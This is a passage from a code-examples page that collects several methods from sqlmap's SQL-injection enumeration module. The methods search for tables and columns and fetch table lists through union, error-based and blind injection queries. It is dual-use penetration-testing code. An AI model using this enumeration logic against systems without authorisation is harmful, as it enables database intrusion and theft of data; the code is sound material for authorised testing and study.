                            warnMsg += "s LIKE"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (db, db, db, db, db, db)
                        query += " AND %s" % colQuery.replace("[DB]", db)
                        query += whereTblsQuery.replace("[DB]", db)
                        query = agent.limitQuery(index, query,
                                                 colCond.replace("[DB]", db))
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True,
                                            colTuple=(colConsider,
                                                      colCondParam),
                                            bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
                                    db]:
                                dbs[db][tbl].update(
                                    kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        conf.dumper.dbColumns(foundCols, colConsider, dbs)
        self.dumpFoundColumn(dbs, foundCols, colConsider)
Beispiel #51
0
    def searchTable(self):
        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        tblConsider, tblCondParam = self.likeOrExact("table")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            foundTbls[db] = []

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            for db in foundTbls.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query.replace("%s", db)
                    query += tblQuery
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            if foundTbl is None:
                                continue

                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count
                    query = query.replace("%s", db)
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query.replace("%s", db)
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Beispiel #52
0
    def getTables(self):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db:
            dbs = conf.db.split(",")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(
            db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[DBMS.MSSQL].tables

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                for query in (rootQuery.inband.query, rootQuery.inband.query2,
                              rootQuery.inband.query3):
                    query = query.replace("%s", db)
                    value = inject.getValue(query, blind=False, time=False)
                    if not isNoneValue(value):
                        break

                if not isNoneValue(value):
                    value = filter(None, arrayizeValue(value))
                    value = [
                        safeSQLIdentificatorNaming(unArrayizeValue(_), True)
                        for _ in value
                    ]
                    kb.data.cachedTables[db] = value

        if not kb.data.cachedTables and isInferenceAvailable(
        ) and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % db
                logger.info(infoMsg)

                for query in (rootQuery.blind.count, rootQuery.blind.count2,
                              rootQuery.blind.count3):
                    _ = query.replace("%s", db)
                    count = inject.getValue(_,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)
                    if not isNoneValue(count):
                        break

                if not isNumPosStrValue(count):
                    if count != 0:
                        warnMsg = "unable to retrieve the number of "
                        warnMsg += "tables for database '%s'" % db
                        logger.warn(warnMsg)
                    continue

                tables = []

                for index in xrange(int(count)):
                    _ = safeStringFormat(
                        (rootQuery.blind.query if query
                         == rootQuery.blind.count else rootQuery.blind.query2
                         if query == rootQuery.blind.count2 else
                         rootQuery.blind.query3).replace("%s", db), index)

                    table = inject.getValue(_, union=False, error=False)
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the tables "
                    warnMsg += "for database '%s'" % db
                    logger.warn(warnMsg)

        if not kb.data.cachedTables and not conf.search:
            errMsg = "unable to retrieve the tables for any database"
            raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        return kb.data.cachedTables
Beispiel #53
0
    def getTables(self):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db:
            dbs = conf.db.split(",")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
                    query = query.replace("%s", db)
                    value = inject.getValue(query, blind=False, time=False)
                    if not isNoneValue(value):
                        break

                if not isNoneValue(value):
                    value = filter(None, arrayizeValue(value))
                    value = [safeSQLIdentificatorNaming(_, True) for _ in value]
                    kb.data.cachedTables[db] = value

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % db
                logger.info(infoMsg)

                for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3):
                    _ = query.replace("%s", db)
                    count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                    if not isNoneValue(count):
                        break

                if not isNumPosStrValue(count):
                    if count != 0:
                        warnMsg = "unable to retrieve the number of "
                        warnMsg += "tables for database '%s'" % db
                        logger.warn(warnMsg)
                    continue

                tables = []

                for index in xrange(int(count)):
                    _ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index

                    table = inject.getValue(_, union=False, error=False)
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the tables "
                    warnMsg += "for database '%s'" % db
                    logger.warn(warnMsg)

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the tables for any database"
            raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        return kb.data.cachedTables
Beispiel #54
0
    def searchTable(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        foundTbls = {}
        tblList = conf.tbl.split(",")
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2

        tblConsider, tblCondParam = self.likeOrExact("table")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            if isinstance(db, list):
                db = db[0]

            db = safeSQLIdentificatorNaming(db)
            foundTbls[db] = []

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            for db in foundTbls.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query % db
                    query += tblQuery
                    values = inject.getValue(query, blind=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            if foundTbl is None:
                                continue

                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % db
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % db
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        return foundTbls